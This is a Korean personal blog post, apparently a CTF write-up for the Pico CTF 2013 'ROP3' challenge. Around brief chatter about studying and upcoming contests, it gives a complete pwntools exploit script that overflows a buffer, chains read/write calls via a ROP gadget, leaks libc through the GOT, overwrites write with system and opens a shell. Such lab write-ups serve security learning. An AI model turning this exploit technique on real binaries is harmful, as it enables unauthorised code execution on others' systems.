본문 바로가기

CTF_Write_UP

[Pico CTF 2013] ROP3

시작

안녕하세요 :D

요즘 하고 있는게 많아서 열심히 사는 느낌이 듭니다 ㅎㅎㅎ

일단 BCACTF!! beginners 난이도라길래 어떤 귀여운 pwn 문제가 나올까 잔뜩 기대했는데..

 

포너블 문제가 없어요.. 이게 CTF입니까!!!! 당장 쉘을 따게 해 주세요ㅠㅠㅠㅠㅠ

아쉬운 대로 리버싱만 끄적여봤습니다.. 실망..

또 JLPT N2 시험이 한 달도 채 남지 않아서 정신없이 단어 외우고 있는 중입니다ㅏㅏ

자연스럽게 포너블에 소홀해졌네요.. 힙이랑 카나리 공부 하고싶다ㅏㅏㅏㅏ

6월엔 일본어만 열심히 하자!! 란 마인드였는데 몸은 싸지방에 앉아서 ctftime.org 들어가고 있네요 ㅋㅋㅋㅋ

스트레스도 풀 겸 엄청 쉬운 rop 문제를 풀었습니다!! 무려 15분컷!! rop때매 우울했던 날들은 이제 안녕이에요

Write UP

사실 스트레스는 문제를 풀었을 때보다 이 포스팅을 작성할 때 더 풀려요 ㅎㅎㅎ

왜냐면 이 롸업부터 예쁜 하이라이팅을 씌울 거니까요!!

뭐든 깔끔하고 반짝거리고 예쁜게 최곱니다. 맥 + 아이폰 + 아이패드를 쓰는 이유와 같죠

문제도 쉽고, 싸지방 시간이 7분밖에 남지 않았으니깐 빠르게 쓰겠습니다.

32비트 바이너리 파일로 136 + 4 bytes 로 BOF가 일어나고 pppr 가젯을 이용해 binsh 저장, 메모리 leak, 쉘 획득 대잔치입니다.

#!/usr/bin/python

from pwn import *

#context.log_level = "debug"

e = ELF("./rop3")
l = e.libc
p = process(e.path)

pppr = 0x804855d
pr = 0x8048443

payload = ""

payload += "A" * 140

payload += p32(e.plt["read"])
payload += p32(pppr)
payload += p32(0)
payload += p32(e.bss())
payload += p32(len("/bin/sh\x00"))

payload += p32(e.plt["write"])
payload += p32(pppr)
payload += p32(1)
payload += p32(e.got["write"])
payload += p32(4)

payload += p32(e.plt["read"])
payload += p32(pppr)
payload += p32(0)
payload += p32(e.got["write"])
payload += p32(4)

payload += p32(e.plt["write"])
payload += p32(pr)
payload += p32(e.bss())

p.send(payload)

p.send("/bin/sh\x00")

libc_write = u32(p.recv(4).ljust(4, "\x00"))
libc_start = libc_write - l.symbols["write"]
libc_system = libc_start + l.symbols["system"]

print "libc_wirte = ", hex(libc_write)

p.send(p32(libc_system))

p.interactive()

예쁘네요

마무리

2분 남았네욬ㅋㅋㅋㅋㅋㅋ

Google CTF도 곧 열리는데 기대됩니다!

BOB 자소서 준비도 해야되고.. 일단 파이팅!!!! :D

'CTF_Write_UP' 카테고리의 다른 글

[DefCon 2014] baby's first heap  (0) 2019.08.07
[DefCon 2016] Feed Me  (0) 2019.06.14
[HSCTF 2019] Write up  (0) 2019.06.08
[2017 CSAW CTF] pilot  (0) 2019.05.30
[Codegate 2018] BaskinRobins31  (0) 2019.05.27